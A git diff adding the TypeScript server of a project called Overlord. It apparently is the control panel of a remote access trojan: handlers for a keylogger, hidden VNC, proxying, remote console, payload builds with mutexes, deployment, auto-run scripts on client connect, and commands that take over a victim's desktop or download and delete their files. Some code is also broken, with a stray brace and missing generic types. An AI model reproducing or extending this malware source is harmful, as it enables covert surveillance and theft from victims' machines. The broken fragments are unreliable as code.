+ trigger: row.trigger as AutoScriptTrigger,
+ script: row.script,
+ scriptType: row.script_type,
+ enabled: row.enabled === 1,
+ createdAt: Number(row.created_at) || 0,
+ updatedAt: Number(row.updated_at) || 0,
+ };
+}
+
+export function listAutoScripts(): AutoScript[] {
+ const rows = db.query(`SELECT * FROM auto_scripts ORDER BY created_at DESC`).all();
+ return rows.map(mapAutoScriptRow);
+}
+
+export function getAutoScriptsByTrigger(trigger: AutoScriptTrigger): AutoScript[] {
+ const rows = db
+ .query(
+ `SELECT * FROM auto_scripts WHERE trigger=? AND enabled=1 ORDER BY created_at ASC`,
+ )
+ .all(trigger);
+ return rows.map(mapAutoScriptRow);
+}
+
+export function getAutoScript(id: string): AutoScript | null {
+ const row = db.query(`SELECT * FROM auto_scripts WHERE id=?`).get(id);
+ return row ? mapAutoScriptRow(row) : null;
+}
+
+export function createAutoScript(input: {
+ id: string;
+ name: string;
+ trigger: AutoScriptTrigger;
+ script: string;
+ scriptType: string;
+ enabled: boolean;
+}): AutoScript {
+ const now = Date.now();
+ db.run(
+ `INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, created_at, updated_at)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
+ ,
+ input.id,
+ input.name,
+ input.trigger,
+ input.script,
+ input.scriptType,
+ input.enabled ? 1 : 0,
+ now,
+ now,
+ );
+ return getAutoScript(input.id)!;
+}
+
+export function updateAutoScript(
+ id: string,
+ input: Partial<{
+ name: string;
+ trigger: AutoScriptTrigger;
+ script: string;
+ scriptType: string;
+ enabled: boolean;
+ }>,
+): AutoScript | null {
+ const current = getAutoScript(id);
+ if (!current) return null;
+
+ const next = {
+ name: input.name ?? current.name,
+ trigger: (input.trigger ?? current.trigger) as AutoScriptTrigger,
+ script: input.script ?? current.script,
+ scriptType: input.scriptType ?? current.scriptType,
+ enabled: typeof input.enabled === "boolean" ? input.enabled : current.enabled,
+ };
+
+ db.run(
+ `UPDATE auto_scripts SET name=?, trigger=?, script=?, script_type=?, enabled=?, updated_at=? WHERE id=?`
+ ,
+ next.name,
+ next.trigger,
+ next.script,
+ next.scriptType,
+ next.enabled ? 1 : 0,
+ Date.now(),
+ id,
+ );
+
+ return getAutoScript(id);
+}
+
+export function deleteAutoScript(id: string): boolean {
+ const result = db.run(`DELETE FROM auto_scripts WHERE id=?`, id);
+ db.run(`DELETE FROM auto_script_runs WHERE script_id=?`, id);
+ return (result as any)?.changes ? (result as any).changes > 0 : true;
+}
+
+export function hasAutoScriptRun(scriptId: string, clientId: string): boolean {
+ const row = db
+ .query(
+ `SELECT script_id FROM auto_script_runs WHERE script_id=? AND client_id=?`,
+ )
+ .get(scriptId, clientId);
+ return !!row?.script_id;
+}
+
+export function recordAutoScriptRun(scriptId: string, clientId: string) {
+ db.run(
+ `INSERT OR REPLACE INTO auto_script_runs (script_id, client_id, ts) VALUES (?, ?, ?)`
+ ,
+ scriptId,
+ clientId,
+ Date.now(),
+ );
+}
+
+export function clientExists(id: string): boolean {
+ const row = db.query(`SELECT id FROM clients WHERE id=?`).get(id);
+ return !!row?.id;
+}
+
+export interface BuildRecord {
+ id: string;
+ status: string;
+ startTime: number;
+ expiresAt: number;
+ files: Array<{
+ name: string;
+ filename: string;
+ platform: string;
+ size: number;
+ }>;
+}
+
+export function saveBuild(build: BuildRecord) {
+ db.run(
+ `INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files)
+ VALUES (?, ?, ?, ?, ?)`,
+ build.id,
+ build.status,
+ build.startTime,
+ build.expiresAt,
+ JSON.stringify(build.files),
+ );
+}
+
+export function getBuild(id: string): BuildRecord | null {
+ const row = db.query(`SELECT * FROM builds WHERE id = ?`).get(id);
+ if (!row) return null;
+
+ return {
+ id: row.id,
+ status: row.status,
+ startTime: row.start_time,
+ expiresAt: row.expires_at,
+ files: JSON.parse(row.files),
+ };
+}
+
+export function getAllBuilds(): BuildRecord[] {
+ const rows = db
+ .query(`SELECT * FROM builds ORDER BY start_time DESC`)
+ .all();
+ return rows.map((row) => ({
+ id: row.id,
+ status: row.status,
+ startTime: row.start_time,
+ expiresAt: row.expires_at,
+ files: JSON.parse(row.files),
+ }));
+}
+
+export function deleteExpiredBuilds() {
+ const now = Date.now();
+ db.run(`DELETE FROM builds WHERE expires_at <= ?`, now);
+}
+
+export function deleteBuild(id: string) {
+ db.run(`DELETE FROM builds WHERE id = ?`, id);
+}
+
+export interface NotificationScreenshotRecord {
+ id: string;
+ notificationId: string;
+ clientId: string;
+ ts: number;
+ format: string;
+ width?: number;
+ height?: number;
+ bytes: Uint8Array;
+}
+
+export function saveNotificationScreenshot(record: NotificationScreenshotRecord) {
+ db.run(
+ `INSERT OR REPLACE INTO notification_screenshots
+ (id, notification_id, client_id, ts, format, width, height, bytes)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
+ ,
+ record.id,
+ record.notificationId,
+ record.clientId,
+ record.ts,
+ record.format,
+ record.width ?? null,
+ record.height ?? null,
+ record.bytes,
+ );
+}
+
+export function getNotificationScreenshot(notificationId: string): NotificationScreenshotRecord | null {
+ const row = db
+ .query(
+ `SELECT * FROM notification_screenshots WHERE notification_id = ? ORDER BY ts DESC LIMIT 1`,
+ )
+ .get(notificationId);
+ if (!row) return null;
+
+ return {
+ id: row.id,
+ notificationId: row.notification_id,
+ clientId: row.client_id,
+ ts: row.ts,
+ format: row.format,
+ width: row.width ?? undefined,
+ height: row.height ?? undefined,
+ bytes: row.bytes,
+ };
+}
+
+export function clearNotificationScreenshots() {
+ db.run(`DELETE FROM notification_screenshots`);
+ console.log("[db] cleared notification screenshots");
+}
diff --git a/Overlord-Server/src/fileTransfers.test.ts b/Overlord-Server/src/fileTransfers.test.ts
new file mode 100644
index 0000000..e48f69b
--- /dev/null
+++ b/Overlord-Server/src/fileTransfers.test.ts
@@ -0,0 +1,60 @@
+import { describe, expect, test } from "bun:test";
+import { coerceUploadData, normalizeFileUploadPayload } from "./fileTransfers";
+
+function toBase64(bytes: Uint8Array): string {
+ let binary = "";
+ for (let i = 0; i < bytes.length; i += 1) {
+ binary += String.fromCharCode(bytes[i]);
+ }
+ return btoa(binary);
+}
+
+describe("fileTransfers", () => {
+ test("coerceUploadData handles Uint8Array", () => {
+ const input = new Uint8Array([1, 2, 3]);
+ const out = coerceUploadData(input);
+ expect(out).not.toBeNull();
+ expect(Array.from(out || [])).toEqual([1, 2, 3]);
+ });
+
+ test("coerceUploadData handles ArrayBuffer", () => {
+ const input = new Uint8Array([4, 5, 6]).buffer;
+ const out = coerceUploadData(input);
+ expect(out).not.toBeNull();
+ expect(Array.from(out || [])).toEqual([4, 5, 6]);
+ });
+
+ test("coerceUploadData handles base64 string", () => {
+ const bytes = new Uint8Array([7, 8, 9]);
+ const input = toBase64(bytes);
+ const out = coerceUploadData(input);
+ expect(out).not.toBeNull();
+ expect(Array.from(out || [])).toEqual([7, 8, 9]);
+ });
+
+ test("coerceUploadData rejects invalid data", () => {
+ expect(coerceUploadData(123)).toBeNull();
+ });
+
+ test("normalizeFileUploadPayload fills defaults", () => {
+ const payload = {
+ path: "/tmp/file.txt",
+ data: new Uint8Array([1, 2, 3]),
+ offset: 10,
+ total: 30,
+ transferId: "t-1",
+ };
+ const out = normalizeFileUploadPayload(payload);
+ expect(out).not.toBeNull();
+ expect(out?.path).toBe("/tmp/file.txt");
+ expect(out?.offset).toBe(10);
+ expect(out?.total).toBe(30);
+ expect(out?.transferId).toBe("t-1");
+ expect(Array.from(out?.data || [])).toEqual([1, 2, 3]);
+ });
+
+ test("normalizeFileUploadPayload rejects missing data", () => {
+ const out = normalizeFileUploadPayload({ path: "/tmp/file.txt" });
+ expect(out).toBeNull();
+ });
+});
diff --git a/Overlord-Server/src/fileTransfers.ts b/Overlord-Server/src/fileTransfers.ts
new file mode 100644
index 0000000..5a6d21e
--- /dev/null
+++ b/Overlord-Server/src/fileTransfers.ts
@@ -0,0 +1,53 @@
+export type FileUploadPayload = {
+ path: string;
+ data: Uint8Array;
+ offset: number;
+ total: number;
+ transferId: string;
+};
+
+export function coerceUploadData(data: unknown): Uint8Array | null {
+ if (data instanceof Uint8Array) {
+ return data;
+ }
+ if (data instanceof ArrayBuffer) {
+ return new Uint8Array(data);
+ }
+ if (typeof data === "string") {
+ try {
+ const binaryString = atob(data || "");
+ const out = new Uint8Array(binaryString.length);
+ for (let i = 0; i < binaryString.length; i += 1) {
+ out[i] = binaryString.charCodeAt(i);
+ }
+ return out;
+ } catch {
+ return null;
+ }
+ }
+ return null;
+}
+
+export function normalizeFileUploadPayload(payload: any): FileUploadPayload | null {
+ if (!payload || typeof payload !== "object") {
+ return null;
+ }
+ const toNumber = (value: unknown): number | null => {
+ if (typeof value === "number" && Number.isFinite(value)) return value;
+ if (typeof value === "bigint") {
+ const asNumber = Number(value);
+ if (Number.isSafeInteger(asNumber)) return asNumber;
+ }
+ return null;
+ };
+ const data = coerceUploadData(payload.data);
+ if (!data) {
+ return null;
+ }
+ const path = typeof payload.path === "string" ? payload.path : "";
+ const offset = toNumber(payload.offset) || 0;
+ const total = toNumber(payload.total) || 0;
+ const transferId = typeof payload.transferId === "string" ? payload.transferId : "";
+
+ return { path, data, offset, total, transferId };
+}
diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts
new file mode 100644
index 0000000..f4b6a30
--- /dev/null
+++ b/Overlord-Server/src/httpHandlers.ts
@@ -0,0 +1,122 @@
+import { listClients, setOnlineState, upsertClientRow } from "./db";
+import * as clientManager from "./clientManager";
+import { ClientRole, ClientInfo } from "./types";
+import { encodeMessage } from "./protocol";
+import { v4 as uuidv4 } from "uuid";
+import { metrics } from "./metrics";
+import { logAudit, AuditAction } from "./auditLog";
+
+const DEFAULT_PAGE_SIZE = 12;
+const CORS_HEADERS = {
+ "Access-Control-Allow-Origin": "*",
+ "Access-Control-Allow-Methods": "GET,OPTIONS",
+ "Access-Control-Allow-Headers": "Content-Type",
+};
+
+export function handleClientsRequest(req: Request): Response {
+ const url = new URL(req.url);
+ const page = Math.max(1, Number(url.searchParams.get("page") || 1));
+ const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || DEFAULT_PAGE_SIZE));
+ const search = (url.searchParams.get("q") || "").toLowerCase().trim();
+ const sort = url.searchParams.get("sort") || "last_seen_desc";
+ const statusFilter = url.searchParams.get("status") || "all";
+ const osFilter = url.searchParams.get("os") || "all";
+
+ const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter });
+ const items = result.items.map((item) => {
+ const live = clientManager.getClient(item.id);
+ if (live?.monitorInfo?.length) {
+ return {
+ ...item,
+ monitors: live.monitorInfo.length,
+ monitorInfo: live.monitorInfo,
+ };
+ }
+ return item;
+ });
+ return Response.json({ ...result, items }, { headers: CORS_HEADERS });
+}
+
+export function handleCommand(target: ClientInfo, action: string, req: Request) {
+ console.log(`[command] action=${action} clientId=${target.id}`);
+
+
+ metrics.recordCommand(action);
+
+ if (action === "ping") {
+ const nonce = Date.now() + Math.floor(Math.random() * 1000);
+ target.lastPingSent = Date.now();
+ target.lastPingNonce = nonce;
+ target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
+ return Response.json({ ok: true });
+ }
+ if (action === "desktop_start") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
+ return Response.json({ ok: true });
+ }
+ if (action === "desktop_stop") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop", id: uuidv4() }));
+ return Response.json({ ok: true });
+ }
+ if (action === "desktop_select_display") {
+
+ target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display", id: uuidv4(), payload: { display: 0 } }));
+ return Response.json({ ok: true });
+ }
+ if (action === "desktop_enable_mouse") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse", id: uuidv4(), payload: { enabled: true } }));
+ return Response.json({ ok: true });
+ }
+ if (action === "desktop_enable_keyboard") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard", id: uuidv4(), payload: { enabled: true } }));
+ return Response.json({ ok: true });
+ }
+ if (action === "disconnect") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
+ return Response.json({ ok: true });
+ }
+ if (action === "reconnect") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
+ return Response.json({ ok: true });
+ }
+ if (action === "file_list") {
+ const url = new URL(req.url);
+ const path = url.searchParams.get("path") || "";
+ target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: uuidv4(), payload: { path } }));
+ return Response.json({ ok: true });
+ }
+ if (action === "file_download") {
+ const url = new URL(req.url);
+ const path = url.searchParams.get("path") || "";
+ target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: uuidv4(), payload: { path } }));
+ return Response.json({ ok: true });
+ }
+ if (action === "file_delete") {
+ const url = new URL(req.url);
+ const path = url.searchParams.get("path") || "";
+ target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: uuidv4(), payload: { path } }));
+ return Response.json({ ok: true });
+ }
+ if (action === "file_mkdir") {
+ const url = new URL(req.url);
+ const path = url.searchParams.get("path") || "";
+ target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: uuidv4(), payload: { path } }));
+ return Response.json({ ok: true });
+ }
+ if (action === "file_zip") {
+ const url = new URL(req.url);
+ const path = url.searchParams.get("path") || "";
+ target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: uuidv4(), payload: { path } }));
+ return Response.json({ ok: true });
+ }
+ return new Response("Bad request", { status: 400 });
+}
+}
+
+export function markOffline(id: string) {
+ setOnlineState(id, false);
+}
+
+export function markOnline(info: ClientInfo) {
+ upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 });
+}
diff --git a/Overlord-Server/src/index.ts b/Overlord-Server/src/index.ts
new file mode 100644
index 0000000..3a5722e
--- /dev/null
+++ b/Overlord-Server/src/index.ts
@@ -0,0 +1 @@
+import "./main-server";
diff --git a/Overlord-Server/src/logger.ts b/Overlord-Server/src/logger.ts
new file mode 100644
index 0000000..620e4af
--- /dev/null
+++ b/Overlord-Server/src/logger.ts
@@ -0,0 +1,73 @@
+import winston from "winston";
+import { ensureDataDir } from "./paths";
+
+const NODE_ENV = process.env.NODE_ENV || "development";
+const rawLogLevel = (process.env.LOG_LEVEL || "").trim().toLowerCase();
+const validLevels = new Set(["error", "warn", "info", "http", "verbose", "debug", "silly"]);
+const LOG_LEVEL = validLevels.has(rawLogLevel)
+ ? rawLogLevel
+ : NODE_ENV === "production"
+ ? "info"
+ : "debug";
+
+const devFormat = winston.format.combine(
+ winston.format.colorize(),
+ winston.format.timestamp({ format: "HH:mm:ss.SSS" }),
+ winston.format.printf((info: any) => {
+ const { level, message, timestamp, ...meta } = info;
+ let msg = `${timestamp} ${level}: ${message}`;
+ if (Object.keys(meta).length > 0) {
+ msg += ` ${JSON.stringify(meta)}`;
+ }
+ return msg;
+ }),
+);
+
+const prodFormat = winston.format.combine(
+ winston.format.timestamp(),
+ winston.format.errors({ stack: true }),
+ winston.format.json(),
+);
+
+export const logger = winston.createLogger({
+ level: LOG_LEVEL,
+ format: NODE_ENV === "production" ? prodFormat : devFormat,
+ transports: [
+ new winston.transports.Console({
+ level: LOG_LEVEL,
+ stderrLevels: ["error"],
+ }),
+ ],
+
+ exitOnError: false,
+});
+
+if (NODE_ENV === "production") {
+ const dataDir = ensureDataDir();
+
+ logger.add(
+ new winston.transports.File({
+ filename: `${dataDir}/error.log`,
+ level: "error",
+ maxsize: 10485760,
+ maxFiles: 5,
+ }),
+ );
+
+ logger.add(
+ new winston.transports.File({
+ filename: `${dataDir}/combined.log`,
+ maxsize: 10485760,
+ maxFiles: 5,
+ }),
+ );
+}
+
+if (rawLogLevel && !validLevels.has(rawLogLevel)) {
+ // eslint-disable-next-line no-console
+ console.warn(`Invalid LOG_LEVEL='${rawLogLevel}', defaulting to ${LOG_LEVEL}`);
+}
+
+logger.info(`Logger initialized (level: ${LOG_LEVEL}, env: ${NODE_ENV})`);
+
+export default logger;
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
new file mode 100644
index 0000000..044d89b
--- /dev/null
+++ b/Overlord-Server/src/main-server.ts
@@ -0,0 +1,414 @@
+import type { ServerWebSocket } from "bun";
+import { decodeMessage, encodeMessage, type WireMessage, type PluginManifest } from "./protocol";
+import { logger } from "./logger";
+import { fileURLToPath } from "url";
+import path from "path";
+import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists } from "./db";
+import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
+import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
+import { ClientInfo, ClientRole } from "./types";
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "./auth";
+import { loadConfig, getConfig } from "./config";
+import { flushAuditLogsSync } from "./auditLog";
+import { getUserById } from "./users";
+import { requireAuth, requirePermission } from "./rbac";
+import { metrics } from "./metrics";
+import { ensureDataDir } from "./paths";
+import { handleAuthRoutes } from "./server/routes/auth-routes";
+import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes";
+import { handleBuildRoutes } from "./server/routes/build-routes";
+import { handleAssetsRoutes } from "./server/routes/assets-routes";
+import { handleDeployRoutes } from "./server/routes/deploy-routes";
+import { handleFileDownloadRoutes } from "./server/routes/file-download-routes";
+import { handleClientRoutes } from "./server/routes/client-routes";
+import { handleMiscRoutes } from "./server/routes/misc-routes";
+import { handleNotificationsConfigRoutes } from "./server/routes/notifications-config-routes";
+import { handlePageRoutes } from "./server/routes/page-routes";
+import { handlePluginRoutes } from "./server/routes/plugin-routes";
+import { handleUsersRoutes } from "./server/routes/users-routes";
+import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
+import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
+import { isAuthorizedAgentRequest } from "./server/agent-auth";
+import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
+import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
+import { CORS_HEADERS } from "./server/http-security";
+import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils";
+import { sanitizePluginId } from "./server/plugin-utils";
+import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
+import { consumeHttpDownloadPayload, type PendingHttpDownload } from "./server/http-download-consumer";
+import { startBuildProcess as runBuildProcess } from "./server/build-process";
+import { createHttpFetchHandler } from "./server/http-dispatch";
+import { startMaintenanceLoops } from "./server/maintenance-loops";
+import {
+ deliverNotificationWithScreenshot,
+ storeNotificationScreenshot,
+ takePendingNotificationScreenshot,
+ type NotificationRecord,
+ type PendingNotificationScreenshot,
+} from "./server/notification-delivery";
+import {
+ ensurePluginExtracted as ensurePluginExtractedFromRoot,
+ listPluginManifests as listPluginManifestsFromRoot,
+ loadPluginBundle as loadPluginBundleFromRoot,
+ loadPluginStateFromDisk,
+ savePluginStateToDisk,
+ sendPluginBundle,
+} from "./server/plugin-state-bundle";
+import {
+ DISCONNECT_TIMEOUT_MS,
+ HEARTBEAT_INTERVAL_MS,
+ MAX_WS_MESSAGE_BYTES_CLIENT,
+ MAX_WS_MESSAGE_BYTES_VIEWER,
+ PRUNE_BATCH,
+ STALE_MS,
+} from "./server/runtime-constants";
+import { ALLOWED_PLATFORMS } from "./server/validation-constants";
+import { prepareTlsOptions, logServerStartup } from "./server/tls-bootstrap";
+import { createWebSocketRuntime } from "./server/websocket-runtime";
+import {
+ handleConsoleOutput,
+ handleConsoleViewerMessage,
+ handleConsoleViewerOpen,
+ handleHVNCViewerMessage,
+ handleHVNCViewerOpen,
+ handleRemoteDesktopViewerMessage,
+ handleRemoteDesktopViewerOpen,
+ hvncStreamingState,
+ notifyConsoleClosed,
+ notifyRdInputLatency,
+ notifyRemoteDesktopStatus,
+ rdStreamingState,
+ sendDesktopCommand,
+ sendHVNCCommand,
+ stopConsoleOnTarget,
+} from "./server/ws-console-rd-hvnc";
+import {
+ handleFileBrowserMessage as forwardFileBrowserMessage,
+ handleFileBrowserViewerMessage,
+ handleFileBrowserViewerOpen,
+ handleKeyloggerMessage,
+ handleKeyloggerViewerMessage,
+ handleKeyloggerViewerOpen,
+ handleProcessMessage,
+ handleProcessViewerMessage,
+ handleProcessViewerOpen,
+ handleProxyMessage,
+ handleProxyViewerMessage,
+ handleProxyViewerOpen,
+} from "./server/ws-file-process-proxy-keylogger";
+import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
+import * as clientManager from "./clientManager";
+import * as sessionManager from "./sessions/sessionManager";
+import type { SocketData } from "./sessions/types";
+import { SERVER_VERSION } from "./version";
+
+
+const config = loadConfig();
+const isAuthorizedAgent = (req: Request, url: URL) =>
+ isAuthorizedAgentRequest(req, url, config.auth.agentToken);
+
+const PORT = config.server.port;
+const HOST = config.server.host;
+const RUNTIME_ROOT = process.env.OVERLORD_ROOT?.trim()
+ ? path.resolve(process.env.OVERLORD_ROOT)
+ : fileURLToPath(new URL("..", import.meta.url));
+const PUBLIC_ROOT = process.env.OVERLORD_PUBLIC_ROOT?.trim()
+ ? path.resolve(process.env.OVERLORD_PUBLIC_ROOT)
+ : path.join(RUNTIME_ROOT, "public");
+const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim()
+ ? path.resolve(process.env.OVERLORD_PLUGIN_ROOT)
+ : path.join(RUNTIME_ROOT, "plugins");
+const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
+const DATA_DIR = ensureDataDir();
+const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
+
+const TLS_CERT_PATH = config.tls.certPath;
+const TLS_KEY_PATH = config.tls.keyPath;
+const TLS_CA_PATH = config.tls.caPath;
+
+const pluginLoadedByClient = new Map>();
+const pendingPluginEvents = new Map>();
+const pluginLoadingByClient = new Map>();
+let pluginState = { enabled: {} as Record, lastError: {} as Record };
+
+const savePluginState = () => savePluginStateToDisk(PLUGIN_ROOT, PLUGIN_STATE_PATH, pluginState);
+const loadPluginState = async () => {
+ pluginState = await loadPluginStateFromDisk(PLUGIN_STATE_PATH);
+};
+const ensurePluginExtracted = (pluginId: string) =>
+ ensurePluginExtractedFromRoot(PLUGIN_ROOT, pluginId, sanitizePluginId);
+const listPluginManifests = () =>
+ listPluginManifestsFromRoot(PLUGIN_ROOT, pluginState, savePluginState, ensurePluginExtracted);
+const loadPluginBundle = (pluginId: string) =>
+ loadPluginBundleFromRoot(PLUGIN_ROOT, pluginId, ensurePluginExtracted);
+const startBuildProcess = (buildId: string, buildConfig: any) =>
+ runBuildProcess(buildId, buildConfig, {
+ generateBuildMutex,
+ sanitizeOutputName,
+ });
+
+const pendingHttpDownloads = new Map();
+
+type DownloadIntent = {
+ id: string;
+ userId: string;
+ clientId: string;
+ path: string;
+ expiresAt: number;
+ timeout: ReturnType;
+};
+
+const downloadIntents = new Map();
+
+type DeployUpload = {
+ id: string;
+ path: string;
+ name: string;
+ size: number;
+ os: DeployOs;
+};
+
+const deployUploads = new Map();
+
+type NotificationRateState = {
+ lastSent: number;
+ windowStart: number;
+ suppressed: number;
+ lastWarned: number;
+};
+
+const notificationHistory: NotificationRecord[] = [];
+const notificationRate = new Map();
+const getNotificationConfig = () => getConfig().notifications;
+
+const pendingNotificationScreenshots = new Map();
+const takePendingNotificationScreenshotForClient = (clientId: string) =>
+ takePendingNotificationScreenshot(pendingNotificationScreenshots, clientId);
+const storeNotificationScreenshotForPending = (
+ pending: PendingNotificationScreenshot,
+ bytes: Uint8Array,
+ format: string,
+ width?: number,
+ height?: number,
+) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
+const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) =>
+ deliverNotificationWithScreenshot(record, getNotificationConfig);
+
+const notificationPluginHandlers = createNotificationPluginHandlers({
+ notificationHistory,
+ notificationRate,
+ pendingNotificationScreenshots,
+ pluginLoadedByClient,
+ pluginLoadingByClient,
+ pendingPluginEvents,
+ pluginState,
+ getNotificationConfig,
+ storeNotificationScreenshot: storeNotificationScreenshotForPending,
+ deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
+ savePluginState,
+});
+
+type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
+
+type PendingScript = {
+ resolve: (result: any) => void;
+ reject: (error: any) => void;
+ timeout: NodeJS.Timeout;
+};
+const pendingScripts = new Map();
+
+async function startServer() {
+ await loadPluginState();
+ const tlsOptions = await prepareTlsOptions({
+ certPath: TLS_CERT_PATH,
+ keyPath: TLS_KEY_PATH,
+ caPath: TLS_CA_PATH,
+ });
+
+ const routeDeps = {
+ notificationsConfig: {
+ getNotificationScreenshot,
+ secureHeaders,
+ },
+ build: {
+ startBuildProcess,
+ sanitizeMutex,
+ allowedPlatforms: ALLOWED_PLATFORMS,
+ },
+ deploy: {
+ DEPLOY_ROOT,
+ deployUploads,
+ detectUploadOs,
+ normalizeClientOs,
+ },
+ fileDownload: {
+ DATA_DIR,
+ secureHeaders,
+ sanitizeOutputName,
+ pendingHttpDownloads,
+ downloadIntents,
+ },
+ plugin: {
+ PLUGIN_ROOT,
+ pluginState,
+ pluginLoadedByClient,
+ pluginLoadingByClient,
+ pendingPluginEvents,
+ sanitizePluginId,
+ ensurePluginExtracted,
+ savePluginState,
+ listPluginManifests,
+ loadPluginBundle,
+ sendPluginBundle,
+ markPluginLoading: notificationPluginHandlers.markPluginLoading,
+ isPluginLoaded: notificationPluginHandlers.isPluginLoaded,
+ isPluginLoading: notificationPluginHandlers.isPluginLoading,
+ enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
+ secureHeaders,
+ securePluginHeaders,
+ mimeType,
+ },
+ misc: {
+ CORS_HEADERS,
+ SERVER_VERSION,
+ getConsoleSessionCount: sessionManager.getConsoleSessionCount,
+ getRdSessionCount: sessionManager.getRdSessionCount,
+ getFileBrowserSessionCount: sessionManager.getFileBrowserSessionCount,
+ getProcessSessionCount: sessionManager.getProcessSessionCount,
+ },
+ assets: {
+ PUBLIC_ROOT,
+ secureHeaders,
+ mimeType,
+ },
+ page: {
+ PUBLIC_ROOT,
+ secureHeaders,
+ mimeType,
+ },
+ client: {
+ CORS_HEADERS,
+ pendingScripts,
+ },
+ wsUpgrade: {
+ isAuthorizedAgentRequest: isAuthorizedAgent,
+ },
+ };
+
+ const lifecycleDeps = {
+ maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
+ maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
+ pendingScripts,
+ rdStreamingState,
+ hvncStreamingState,
+ getNotificationConfig,
+ handleConsoleViewerOpen,
+ handleRemoteDesktopViewerOpen,
+ handleHVNCViewerOpen,
+ handleFileBrowserViewerOpen,
+ handleProcessViewerOpen,
+ handleKeyloggerViewerOpen,
+ handleProxyViewerOpen,
+ handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
+ handleConsoleViewerMessage,
+ handleRemoteDesktopViewerMessage,
+ handleHVNCViewerMessage,
+ handleFileBrowserViewerMessage,
+ handleProcessViewerMessage,
+ handleKeyloggerViewerMessage,
+ handleProxyViewerMessage,
+ dispatchAutoScriptsForConnection,
+ takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
+ storeNotificationScreenshot: storeNotificationScreenshotForPending,
+ handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
+ handleConsoleOutput,
+ handleFileBrowserMessage: (clientId: string, payload: any) =>
+ forwardFileBrowserMessage(clientId, payload, {
+ pendingHttpDownloads,
+ consumeHttpDownloadPayload: (downloadPayload: any) =>
+ consumeHttpDownloadPayload(downloadPayload, pendingHttpDownloads),
+ }),
+ handleProxyMessage,
+ handleProcessMessage,
+ handleKeyloggerMessage,
+ notifyRdInputLatency,
+ handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure,
+ handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
+ handleNotification: notificationPluginHandlers.handleNotification,
+ stopConsoleOnTarget,
+ sendDesktopCommand,
+ sendHVNCCommand,
+ notifyConsoleClosed,
+ clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
+ notifyRemoteDesktopStatus,
+ };
+
+ const server = Bun.serve({
+ port: PORT,
+ hostname: HOST,
+ tls: tlsOptions,
+ idleTimeout: 255,
+ fetch: createHttpFetchHandler({
+ metrics,
+ CORS_HEADERS,
+ handleAuthRoutes,
+ handleNotificationsConfigRoutes,
+ handleAutoScriptsRoutes,
+ handleUsersRoutes,
+ handleBuildRoutes,
+ handleDeployRoutes,
+ handleFileDownloadRoutes,
+ handlePluginRoutes,
+ handleMiscRoutes,
+ handleAssetsRoutes,
+ handlePageRoutes,
+ handleClientRoutes,
+ handleWsUpgradeRoutes,
+ routeDeps,
+ }),
+ websocket: createWebSocketRuntime({
+ maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
+ maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
+ lifecycleDeps,
+ handleWebSocketOpen,
+ handleWebSocketMessage,
+ handleWebSocketClose,
+ }),
+ });
+
+
+ markAllClientsOffline();
+ clearNotificationScreenshots();
+
+
